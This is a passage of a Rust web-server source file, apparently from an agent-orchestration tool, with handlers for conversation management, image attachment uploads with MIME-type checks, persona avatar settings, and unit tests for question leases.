9296 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9297 refuse_if_closed(&ui.talks.get(&id)?)
9298 })
9299 .await?;
9300 }
9301 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9302 return Err(ApiError::conflict(
9303 "a talk turn is running; change the implementers once it has answered",
9304 ));
9305 };
9306 let switched = {
9307 let ui = Arc::clone(&ui);
9308 let id = id.clone();
9309 let cfg = cfg.clone();
9310 blocking(move || {
9311 let chosen =
9312 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9313 let mut talk = ui.talks.get(&id)?;
9314 if !talk.status.open() {
9315 return Err(ApiError::conflict(format!(
9316 "talk {} is {} and takes no more turns",
9317 talk.short(),
9318 talk.status.as_str()
9319 )));
9320 }
9321 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9322 Ok(talk)
9323 })
9324 .await
9325 };
9326 let observed = ui.queued_generation(&id);
9328 let fresh = {
9329 let ui = Arc::clone(&ui);
9330 let id = id.clone();
9331 blocking(move || Ok(ui.talks.get(&id)?)).await
9332 };
9333 let draining = match fresh {
9334 Ok(talk) => {
9335 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9336 }
9337 Err(_) => false,
9338 };
9339 let talk = switched?;
9340 Ok(Json(TalkView::new(talk, draining, &ui)))
9341}
9342
9343async fn talk_close(
9345 State(ui): State<Arc<Ui>>,
9346 Path(id): Path<String>,
9347) -> ApiResult<Json<TalkView>> {
9348 blocking(move || {
9349 let id = resolve_talk(&ui.talks, &id)?;
9350 let mut talk = ui.talks.get(&id)?;
9351 talk::close(&mut talk, &ui.talks)?;
9352 let thinking = ui.is_thinking(&talk.id);
9353 Ok(Json(TalkView::new(talk, thinking, &ui)))
9354 })
9355 .await
9356}
9357
9358async fn talk_reopen(
9360 State(ui): State<Arc<Ui>>,
9361 Path(id): Path<String>,
9362) -> ApiResult<Json<TalkView>> {
9363 blocking(move || {
9364 let id = resolve_talk(&ui.talks, &id)?;
9365 let mut talk = ui.talks.get(&id)?;
9366 talk::reopen(&mut talk, &ui.talks)?;
9367 let thinking = ui.is_thinking(&talk.id);
9368 Ok(Json(TalkView::new(talk, thinking, &ui)))
9369 })
9370 .await
9371}
9372
9373async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9383 blocking(move || {
9384 let id = resolve_talk(&ui.talks, &id)?;
9385 ui.talks.remove(&id)?;
9386 Ok(StatusCode::NO_CONTENT)
9387 })
9388 .await
9389}
9390
9391fn talk_ids(root: &FsPath) -> Vec<String> {
9392 std::fs::read_dir(root)
9393 .into_iter()
9394 .flatten()
9395 .flatten()
9396 .filter_map(|e| {
9397 let path = e.path();
9398 if path.extension().is_some_and(|ext| ext == "json") {
9399 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9400 } else {
9401 None
9402 }
9403 })
9404 .collect()
9405}
9406
9407fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9409 if plain_record_id(id) && store.path_of(id).is_file() {
9410 return Ok(id.to_owned());
9411 }
9412 pick(talk_ids(store.root()), id, "talk")
9413}
9414
9415async fn talk_attachment_post(
9418 State(ui): State<Arc<Ui>>,
9419 Path(id): Path<String>,
9420 headers: HeaderMap,
9421 body: Bytes,
9422) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9423 let mime = validate_attachment(&headers, &body)?;
9424 let name = filename_header(&headers);
9425 let data = body.to_vec();
9426 blocking(move || {
9427 let id = resolve_talk(&ui.talks, &id)?;
9428 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9429 Ok((StatusCode::CREATED, Json(att)))
9430 })
9431 .await
9432}
9433
9434async fn talk_attachment_get(
9437 State(ui): State<Arc<Ui>>,
9438 Path((id, att)): Path<(String, String)>,
9439) -> ApiResult<Response> {
9440 blocking(move || {
9441 let id = resolve_talk(&ui.talks, &id)?;
9442 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9443 return Err(ApiError::not_found(format!(
9444 "talk {id} has no attachment `{att}`"
9445 )));
9446 };
9447 Ok(attachment_response(&meta.mime, data))
9448 })
9449 .await
9450}
9451
9452fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9455 let id = avatar_encode(&p.id);
9456 format!(
9457 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9458 persona_icon::fingerprint(
9459 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9460 )
9461 )
9462}
9463
9464#[derive(Debug, Default, Deserialize)]
9465struct AvatarQuery {
9466 persona: Option<String>,
9467 builtin: Option<String>,
9469}
9470
9471const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9473
9474fn builtin_avatar(id: &str) -> Response {
9475 svg_avatar(persona_icon::builtin_svg(id))
9476}
9477
9478async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9479 raster_or_builtin(
9480 read_icon_file(&avatar_setting_path(&ui.home, None))
9481 .filter(|_| q.builtin.is_none())
9482 .as_deref(),
9483 persona_icon::operator_svg(),
9484 )
9485}
9486
9487fn svg_avatar(svg: &'static str) -> Response {
9488 (
9489 [
9490 (header::CONTENT_TYPE, "image/svg+xml"),
9491 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9492 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9493 (header::CACHE_CONTROL, "no-cache"),
9494 ],
9495 svg,
9496 )
9497 .into_response()
9498}
9499
9500fn avatar_encode(value: &str) -> String {
9501 value
9502 .bytes()
9503 .map(|b| {
9504 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9505 char::from(b).to_string()
9506 } else {
9507 format!("%{b:02X}")
9508 }
9509 })
9510 .collect()
9511}
9512
9513fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9515 let Some(id) = persona else {
9516 return home.join("avatars/operator.data");
9517 };
9518 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9519 let mut path = home.join("avatars/personas");
9520 for chunk in encoded.as_bytes().chunks(100) {
9521 path.push(std::str::from_utf8(chunk).expect("hex"));
9522 }
9523 path.join("icon.data")
9524}
9525
9526fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9527 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9528 Some(value) if value == "builtin" => Some(String::new()),
9529 Some(value) => Some(value),
9530 None => configured.map(str::to_owned),
9531 }
9532}
9533
9534fn operator_icon_url(home: &FsPath) -> String {
9535 format!(
9536 "/avatars/operator.svg?v={}",
9537 persona_icon::fingerprint(
9538 read_icon_file(&avatar_setting_path(home, None))
9539 .as_deref()
9540 .or(Some(persona_icon::operator_svg()))
9541 )
9542 )
9543}
9544
9545fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9546 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9547 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9548 attachment_response(mime, bytes)
9549 }
9550 _ => svg_avatar(builtin),
9551 };
9552 response
9553 .headers_mut()
9554 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9555 response
9556}
9557
9558#[derive(Default, Deserialize)]
9559struct AvatarSettingsQuery {
9560 repo: Option<PathBuf>,
9561 persona: Option<String>,
9562 builtin: Option<String>,
9563 inherit: Option<String>,
9564}
9565
9566fn avatar_settings_specs(
9567 ui: &Ui,
9568 repo: Option<PathBuf>,
9569) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9570 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9571 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9572 .map(|cfg| cfg.talk.personas)
9573 .unwrap_or_default();
9574 Ok((repo, specs))
9575}
9576
9577fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9578 let Ok(entries) = std::fs::read_dir(path) else {
9579 return;
9580 };
9581 for entry in entries.flatten() {
9582 let name = entry.file_name().to_string_lossy().into_owned();
9583 if name == "icon.data" {
9584 let bytes: Option<Vec<u8>> = prefix
9585 .as_bytes()
9586 .chunks(2)
9587 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9588 .collect();
9589 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9590 out.push(id);
9591 }
9592 } else if name.len() <= 100
9593 && !name.is_empty()
9594 && name.bytes().all(|b| b.is_ascii_hexdigit())
9595 && entry.file_type().is_ok_and(|t| t.is_dir())
9596 {
9597 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9598 }
9599 }
9600}
9601
9602async fn avatar_settings_get(
9603 State(ui): State<Arc<Ui>>,
9604 Query(q): Query<AvatarSettingsQuery>,
9605) -> ApiResult<Json<serde_json::Value>> {
9606 blocking(move || {
9607 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9608 let mut catalog = persona::catalog(&specs);
9609 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9610 let mut saved = Vec::new();
9611 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9612 for id in saved {
9613 if !catalog.iter().any(|p| p.id == id) {
9614 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9615 }
9616 }
9617 let personas: Vec<_> = catalog.iter().map(|p| {
9618 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9619 let override_state = match saved.as_deref() {
9620 Some("builtin") => "builtin",
9621 Some(_) => "custom",
9622 None => "inherit",
9623 };
9624 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9625 serde_json::json!({"id":p.id,"name":p.name,
9626 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9627 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9628 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9629 }).collect();
9630 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9631 }).await
9632}
9633
9634async fn settings_persona_avatar(
9635 State(ui): State<Arc<Ui>>,
9636 Query(q): Query<AvatarSettingsQuery>,
9637) -> ApiResult<Response> {
9638 blocking(move || {
9639 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9640 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9641 let found = persona::find(&specs, id);
9642 let icon =
9643 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9644 Ok(raster_or_builtin(
9645 icon.as_deref().filter(|_| q.builtin.is_none()),
9646 persona_icon::builtin_svg(id),
9647 ))
9648 })
9649 .await
9650}
9651
9652fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9653 if q.persona
9654 .as_ref()
9655 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9656 {
9657 return Err(ApiError::bad_request("invalid persona id"));
9658 }
9659 Ok(())
9660}
9661
9662async fn avatar_settings_put(
9663 State(ui): State<Arc<Ui>>,
9664 Query(q): Query<AvatarSettingsQuery>,
9665 Json(upload): Json<MagiIconUpload>,
9666) -> ApiResult<Json<serde_json::Value>> {
9667 blocking(move || {
9668 validate_avatar_target(&q)?;
9669 save_icon_file(
9670 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9671 &upload.icon,
9672 )
9673 .map_err(ApiError::bad_request_from)?;
9674 Ok(Json(serde_json::json!({"saved":true})))
9675 })
9676 .await
9677}
9678
9679async fn avatar_settings_delete(
9680 State(ui): State<Arc<Ui>>,
9681 Query(q): Query<AvatarSettingsQuery>,
9682) -> ApiResult<Json<serde_json::Value>> {
9683 blocking(move || {
9684 validate_avatar_target(&q)?;
9685 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9686 if q.persona.is_some() && q.inherit.is_none() {
9687 atomic_icon_write(&path, "builtin")?;
9688 } else {
9689 match std::fs::remove_file(path) {
9690 Ok(()) => (),
9691 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9692 Err(e) => return Err(anyhow::Error::from(e).into()),
9693 }
9694 }
9695 Ok(Json(serde_json::json!({"saved":true})))
9696 })
9697 .await
9698}
9699
9700fn magi_icon_path(home: &FsPath) -> PathBuf {
9702 home.join("magi-icon.data")
9703}
9704
9705fn read_magi_icon(home: &FsPath) -> Option<String> {
9706 read_icon_file(&magi_icon_path(home))
9707}
9708
9709fn read_icon_file(path: &FsPath) -> Option<String> {
9710 let metadata = std::fs::metadata(path).ok()?;
9711 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9712 return None;
9713 }
9714 let file = std::fs::File::open(path).ok()?;
9715 use std::io::Read;
9716 let mut text = String::new();
9717 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9718 .read_to_string(&mut text)
9719 .ok()?;
9720 if text.len() > persona_icon::ICON_MAX_BYTES {
9721 return None;
9722 }
9723 if text == "builtin" {
9724 return Some(text);
9725 }
9726 validate_uploaded_icon(&text).ok()?;
9727 Some(text)
9728}
9729
9730fn magi_icon_url(home: &FsPath) -> String {
9731 format!(
9732 "/avatars/magi?v={}",
9733 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9734 )
9735}
9736
9737async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9738 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9739}
9740
9741#[derive(Deserialize)]
9742struct MagiIconUpload {
9743 icon: String,
9744}
9745
9746fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9747 save_icon_file(&magi_icon_path(home), icon)
9748}
9749
9750fn validate_uploaded_icon(icon: &str) -> Result<()> {
9751 if !icon.starts_with("data:") {
9752 anyhow::bail!("upload a raster image");
9753 }
9754 let (mime, bytes) = persona_icon::load(icon)?;
9755 if sniffed_mime(&bytes) != Some(mime) {
9756 anyhow::bail!("image content does not match its type");
9757 }
9758 Ok(())
9759}
9760
9761fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9762 validate_uploaded_icon(icon)?;
9763 atomic_icon_write(path, icon)
9764}
9765
9766fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9767 let home = path.parent().expect("icon parent");
9768 std::fs::create_dir_all(home)?;
9769 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9770 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9771 let result = (|| -> Result<()> {
9772 use std::io::Write;
9773 let mut file = std::fs::OpenOptions::new()
9774 .write(true)
9775 .create_new(true)
9776 .open(&temp)?;
9777 file.write_all(icon.as_bytes())?;
9778 file.sync_all()?;
9779 std::fs::rename(&temp, path)?;
9780 Ok(())
9781 })();
9782 let _ = std::fs::remove_file(temp);
9783 result?;
9784 Ok(())
9785}
9786
9787async fn magi_icon_put(
9788 State(ui): State<Arc<Ui>>,
9789 Json(upload): Json<MagiIconUpload>,
9790) -> ApiResult<Json<serde_json::Value>> {
9791 blocking(move || {
9792 if !upload.icon.starts_with("data:") {
9793 return Err(ApiError::bad_request("upload a raster image"));
9794 }
9795 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9796 if sniffed_mime(&bytes) != Some(mime) {
9797 return Err(ApiError::bad_request(
9798 "image content does not match its type",
9799 ));
9800 }
9801 save_magi_icon(&ui.home, &upload.icon)?;
9802 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9803 })
9804 .await
9805}
9806
9807async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9808 blocking(move || {
9809 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9810 Ok(()) => (),
9811 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9812 Err(e) => return Err(anyhow::Error::from(e).into()),
9813 }
9814 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9815 })
9816 .await
9817}
9818
9819async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9820 let icon = (q.builtin.is_none())
9821 .then(|| read_magi_icon(&ui.home))
9822 .flatten();
9823 let mut response = match icon
9824 .as_deref()
9825 .and_then(|icon| persona_icon::load(icon).ok())
9826 {
9827 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9828 attachment_response(mime, bytes)
9829 }
9830 _ => svg_avatar(persona_icon::magi_svg()),
9831 };
9832 response
9833 .headers_mut()
9834 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9835 response
9836}
9837
9838async fn talk_avatar(
9843 State(ui): State<Arc<Ui>>,
9844 Path(id): Path<String>,
9845 Query(q): Query<AvatarQuery>,
9846) -> ApiResult<Response> {
9847 blocking(move || {
9848 let id = resolve_talk(&ui.talks, &id)?;
9849 let talk = ui.talks.get(&id)?;
9850 let wanted = q
9851 .persona
9852 .as_deref()
9853 .map(str::trim)
9854 .filter(|p| !p.is_empty())
9855 .unwrap_or(&talk.persona)
9856 .to_owned();
9857 let specs = match Config::discover(&talk.repo, None) {
9858 Ok((cfg, _)) => cfg.talk.personas,
9859 Err(e) => {
9860 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9861 Vec::new()
9862 }
9863 };
9864 let found = persona::find(&specs, &wanted);
9865 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9867 let icon = effective_persona_icon(
9868 &ui.home,
9869 &wanted,
9870 found.as_ref().and_then(|p| p.icon.as_deref()),
9871 );
9872 if found.is_none() && icon.is_none() {
9873 return Ok(builtin_avatar(persona::DEFAULT_ID));
9874 }
9875 let Some(icon) = icon
9876 .as_deref()
9877 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9878 else {
9879 return Ok(builtin_avatar(&wanted));
9880 };
9881 let Some(found) = found else {
9882 return Ok(raster_or_builtin(
9883 Some(icon),
9884 persona_icon::builtin_svg(&wanted),
9885 ));
9886 };
9887 match persona_icon::load(icon) {
9888 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9889 let mut res = attachment_response(mime, bytes);
9890 res.headers_mut().insert(
9891 header::CACHE_CONTROL,
9892 header::HeaderValue::from_static("no-cache"),
9893 );
9894 Ok(res)
9895 }
9896 Ok((mime, _)) => {
9897 tracing::warn!(
9898 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9899 found.id
9900 );
9901 Ok(builtin_avatar(&found.id))
9902 }
9903 Err(e) => {
9904 tracing::warn!(
9905 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9906 found.id
9907 );
9908 Ok(builtin_avatar(&found.id))
9909 }
9910 }
9911 })
9912 .await
9913}
9914
9915fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9926 if data.len() > ATTACHMENT_MAX_BYTES {
9927 return Err(ApiError::bad_request(format!(
9928 "attachment is {} bytes, over the {} MiB limit",
9929 data.len(),
9930 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9931 ))
9932 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9933 }
9934 if data.is_empty() {
9935 return Err(ApiError::bad_request("attachment is empty"));
9936 }
9937 let declared = declared_mime(headers)?;
9938 match sniffed_mime(data) {
9939 Some(sniffed) if sniffed == declared => Ok(declared),
9940 Some(sniffed) => Err(ApiError::bad_request(format!(
9941 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9942 ))),
9943 None => Err(ApiError::bad_request(
9944 "the file's bytes do not match any accepted image format",
9945 )),
9946 }
9947}
9948
9949fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9953 let raw = headers
9954 .get(header::CONTENT_TYPE)
9955 .and_then(|v| v.to_str().ok())
9956 .unwrap_or("")
9957 .split(';')
9958 .next()
9959 .unwrap_or("")
9960 .trim()
9961 .to_ascii_lowercase();
9962 ATTACHMENT_MIME_WHITELIST
9963 .iter()
9964 .find(|&&m| m == raw)
9965 .copied()
9966 .ok_or_else(|| {
9967 if raw == "image/svg+xml" {
9968 ApiError::bad_request(
9969 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9970 not just a picture",
9971 )
9972 } else if raw.is_empty() {
9973 ApiError::bad_request("Content-Type is required for an attachment upload")
9974 } else {
9975 ApiError::bad_request(format!(
9976 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9977 image/gif or image/webp"
9978 ))
9979 }
9980 })
9981}
9982
9983fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9986 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9987 Some("image/png")
9988 } else if data.starts_with(b"\xff\xd8\xff") {
9989 Some("image/jpeg")
9990 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9991 Some("image/gif")
9992 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9993 Some("image/webp")
9994 } else {
9995 None
9996 }
9997}
9998
9999fn filename_header(headers: &HeaderMap) -> String {
10005 headers
10006 .get(FILENAME_HEADER)
10007 .and_then(|v| v.to_str().ok())
10008 .map(str::trim)
10009 .filter(|s| !s.is_empty())
10010 .unwrap_or("attachment")
10011 .to_owned()
10012}
10013
10014fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10021 let content_type = ATTACHMENT_MIME_WHITELIST
10022 .iter()
10023 .find(|&&m| m == mime)
10024 .copied()
10025 .unwrap_or("application/octet-stream");
10026 (
10027 [
10028 (header::CONTENT_TYPE, content_type),
10029 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10030 ],
10031 body,
10032 )
10033 .into_response()
10034}
10035
10036async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10044 let repo = repo.to_path_buf();
10045 blocking(move || {
10046 let (cfg, _) = Config::discover(&repo, None)?;
10047 Ok(cfg)
10048 })
10049 .await
10050}
10051
10052fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10058 let mut hits = ids
10059 .into_iter()
10060 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10061 match (hits.next(), hits.next()) {
10062 (Some(one), None) => Ok(one),
10063 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10064 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10065 "`{prefix}` matches more than one {what}, including {a} and {b}"
10066 ))),
10067 }
10068}
10069
10070#[cfg(test)]
10071mod tests {
10072
10073 #[test]
10074 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10075 let dir = tempfile::tempdir().unwrap();
10076 let store = ask::Questions::at(dir.path().join("questions"));
10077 let mut q = Question::new(
10078 "task".to_owned(),
10079 "conduct".to_owned(),
10080 "conduct".to_owned(),
10081 "choose".to_owned(),
10082 String::new(),
10083 vec!["keep".to_owned()],
10084 );
10085 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10086 q.say("why?").unwrap();
10087 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10088 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10089 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10090 store.put(&mut q).unwrap();
10091 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10092 assert_eq!(store.count_needs_owner(), 1);
10093 store.beat(&q.id, ask::WaiterKind::Deputy);
10094 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10095 assert_eq!(store.count_needs_owner(), 0);
10096 let mut stale = store.read_lease(&q.id).unwrap();
10097 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10098 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10099 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10100 assert!(view.deputy_exhausted);
10101 assert!(view.waiting_on_agent);
10102 assert_eq!(view.question.choices, ["keep"]);
10103 store.drop_lease(&q.id);
10104 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10105 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10106 }
10107
10108 #[test]
10109 fn holder_reads_the_lease_not_the_record() {
10110 let mut q = Question::new(
10111 "run".to_owned(),
10112 "implement".to_owned(),
10113 "impl-A".to_owned(),
10114 "which?".to_owned(),
10115 String::new(),
10116 Vec::new(),
10117 );
10118 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10119 q.cwd = Some("/tmp".to_owned());
10120 assert_eq!(holder_of(&q, None), Some("nobody"));
10121 let beat = |kind, ago: i64| ask::Lease {
10122 kind,
10123 pid: 1,
10124 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10125 .unwrap(),
10126 };
10127 let fresh = beat(ask::WaiterKind::Asker, 1);
10128 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10129 let daemon = beat(ask::WaiterKind::Daemon, 1);
10130 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10131 let stale = beat(ask::WaiterKind::Asker, 3600);
10132 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10133
10134 let mut c = Question::new(
10137 "task".to_owned(),
10138 crate::conduct::NODE.to_owned(),
10139 "conduct".to_owned(),
10140 "which?".to_owned(),
10141 String::new(),
10142 Vec::new(),
10143 );
10144 assert_eq!(holder_of(&c, None), Some("nobody"));
10145 c.cwd = Some("/tmp".to_owned());
10146 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10147 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10148 let deputy = beat(ask::WaiterKind::Deputy, 1);
10149 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10150 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10151
10152 let mut r = Question::new(
10154 String::new(),
10155 crate::bump::NOTICE_NODE.to_owned(),
10156 "release-watch".to_owned(),
10157 "stuck?".to_owned(),
10158 String::new(),
10159 vec!["hold".to_owned()],
10160 );
10161 assert_eq!(holder_of(&r, None), Some("nobody"));
10162 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10163 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10164 r.deputy = None;
10166 r.seat = "bump".to_owned();
10167 assert_eq!(holder_of(&r, None), None);
10168
10169 let mut m = Question::new(
10172 "run".to_owned(),
10173 crate::land::APPROVAL_NODE.to_owned(),
10174 "land".to_owned(),
10175 "merge?".to_owned(),
10176 String::new(),
10177 Vec::new(),
10178 );
10179 assert_eq!(holder_of(&m, None), Some("nobody"));
10180 assert_eq!(
10181 holder_of(&m, Some(&fresh)),
10182 Some("asker"),
10183 "a live explicit wait is a listener even before a deputy is attached"
10184 );
10185 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10186 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10187 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10188 assert_eq!(holder_of(&m, None), Some("nobody"));
10189 }
10190
10191 fn stub_config() -> Config {
10192 Config {
10195 agents: vec![crate::config::AgentSpec {
10196 id: "stub".to_owned(),
10197 kind: AgentKind::Command,
10198 model: None,
10199 command: vec!["true".to_owned()],
10200 extra_args: Vec::new(),
10201 env: Default::default(),
10202 prompt_delivery: None,
10203 }],
10204 ..Config::default()
10205 }
10206 }
10207
10208 fn plain_question(seat: &str) -> Question {
10209 Question::new(
10210 String::new(),
10211 "n".to_owned(),
10212 seat.to_owned(),
10213 "s".to_owned(),
10214 String::new(),
10215 Vec::new(),
10216 )
10217 }
10218
10219 #[test]
10220 fn deputies_enabled_follows_the_config() {
10221 let on = stub_config();
10222 assert!(crate::deputy::can_start(Some(&on), ""));
10223 assert!(crate::deputy::can_start(Some(&on), "stub"));
10224 let mut off = on.clone();
10225 off.daemon.max_deputies = 0;
10226 assert!(!crate::deputy::can_start(Some(&off), ""));
10227 let mut empty = on;
10228 empty.agents.clear();
10229 assert!(!crate::deputy::can_start(Some(&empty), ""));
10230 assert!(!crate::deputy::can_start(None, ""));
10231 }
10232
10233 #[test]
10234 fn question_views_load_the_config_once() {
10235 let dir = TempDir::new().unwrap();
10236 let store = ask::Questions::at(dir.path().to_path_buf());
10237 let mut with_deputy = plain_question("b");
10238 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10239 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10240
10241 let calls = std::cell::Cell::new(0usize);
10242 let views = question_views(qs.clone(), &store, || {
10243 calls.set(calls.get() + 1);
10244 Some(stub_config())
10245 });
10246 assert_eq!(calls.get(), 1);
10247 assert_eq!(views.len(), 3);
10248 for (v, q) in views.iter().zip(&qs) {
10249 assert_eq!(
10250 v.deputies_enabled,
10251 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10252 );
10253 }
10254
10255 let views = question_views(qs, &store, || None);
10256 assert!(views.iter().all(|v| !v.deputies_enabled));
10257
10258 let calls = std::cell::Cell::new(0usize);
10259 let views = question_views(Vec::new(), &store, || {
10260 calls.set(calls.get() + 1);
10261 None
10262 });
10263 assert!(views.is_empty());
10264 assert_eq!(calls.get(), 0);
10265 }
10266
10267 use pretty_assertions::assert_eq;
10268 use serde_json::Value;
10269 use tempfile::TempDir;
10270 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10271
10272 use super::*;
10273 use crate::config::Config;
10274 use crate::queue::Source;
10275
10276 const SETTLE_STEPS: usize = 3_000;
10287
10288 struct Fixture {
10294 home: TempDir,
10295 addr: SocketAddr,
10296 }
